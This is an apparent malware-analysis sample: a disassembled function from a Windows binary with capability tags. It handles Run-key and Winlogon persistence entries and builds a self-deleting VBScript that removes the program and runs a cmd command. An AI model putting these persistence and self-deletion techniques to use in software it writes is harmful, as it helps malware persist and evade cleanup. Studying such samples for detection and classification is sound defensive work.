Function at 0x408604
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Persist via winlogon helper dll registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push ebx
push esi
push edi
call fcn.0040ac25
cmp byte [0x41a158], 0x30
je 0x408628
mov ecx, 0x41a8f0
call fcn.00406b7b
cmp byte [0x41afcc], 1
jne 0x408636
call fcn.00410382
cmp byte [0x41a22a], 0
je 0x408651
mov ecx, 0x41a1e8
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call fcn.004125ec
pop ecx
cmp byte [0x41aa50], 1
mov ebx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov edi, 0x80000001
jne 0x40867a
mov ecx, 0x41aa40
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push ebx
push edi
call fcn.0040b861
add esp, 0xc
cmp byte [0x41ac5d], 1
mov esi, 0x80000002
jne 0x40869e
mov ecx, 0x41aa40
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push ebx
push esi
call fcn.0040b861
add esp, 0xc
cmp byte [0x41ac5c], 1
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon_
jne 0x4086d1
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str.explorer.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.Shell
push ebx
push esi
call fcn.0040b581
add esp, 0x20
cmp byte [0x41aa28], 1
jne 0x4086ff
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str.C:WINDOWS_system32userinit.exe
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.Userinit
push ebx
push esi
call fcn.0040b581
add esp, 0x20
cmp byte [0x41aa10], 1
jne 0x408722
mov ecx, 0x41aa40
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
push esi
call fcn.0040b861
add esp, 0xc
mov esi, 0x41ac98
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ebx, 0x208
lea eax, [ebp - 0x27c]
push ebx
mov esi, 0x41aa30
push eax
push str.exepath
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
call fcn.0040b50b
add esp, 0x1c
test al, al
jne 0x408776
lea eax, [ebp - 0x27c]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, 0x80
lea eax, [ebp - 0x27c]
push ebx
push eax
mov byte [ebp - 1], 1
call edi
test eax, eax
jne 0x4087a6
and byte [ebp - 1], al
mov esi, 0x4147f4
push esi
push 0x41ac60
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
test al, al
pop ecx
je 0x4087cc
push ebx
mov ecx, 0x41ac60
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call edi
lea eax, [ebp - 2]
push str.update.vbs
push eax
push 0x41535c
call dword [sym.imp.MSVCRT.dll__wgetenv]
pop ecx
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x54]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea eax, [ebp - 2]
lea ecx, [ebp - 0x14]
push eax
push 0x4152c8
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x24]
push str.On_Error_Resume_Next_n
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp - 1], 0
je 0x408891
lea eax, [ebp - 2]
push 0x415414
push eax
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x44]
push str.while_fso.FileExists__
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
push eax
call dword [0x4141f4]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
mov edi, 0x4153dc
lea eax, [ebp - 0x27c]
push edi
push eax
lea eax, [ebp - 2]
lea ecx, [ebp - 0x14]
push eax
push str.fso.DeleteFile__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
push eax
call dword [0x4141f4]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp - 1], 0
je 0x408903
push str.wend_n
lea ecx, [ebp - 0x24]
call dword [0x4141f8]
mov ebx, 0x41ac60
push esi
push ebx
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
test al, al
pop ecx
je 0x408952
push edi
push ebx
lea eax, [ebp - 0x44]
push str.fso.DeleteFolder__
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_unsigned_short_int_const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
push eax
call dword [0x4141f4]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea eax, [ebp - 2]
push 0x4152c4
push eax
push str._____0
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 1]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
push eax
call dword [0x4141f4]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x24]
call dword [0x4141f8]
xor edi, edi
lea ecx, [ebp - 0x54]
push edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::length_void_const]
shl eax, 1
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call fcn.00412754
add esp, 0x10
test al, al
je 0x408a40
push edi
push esi
push esi
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x408a40
push edi
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret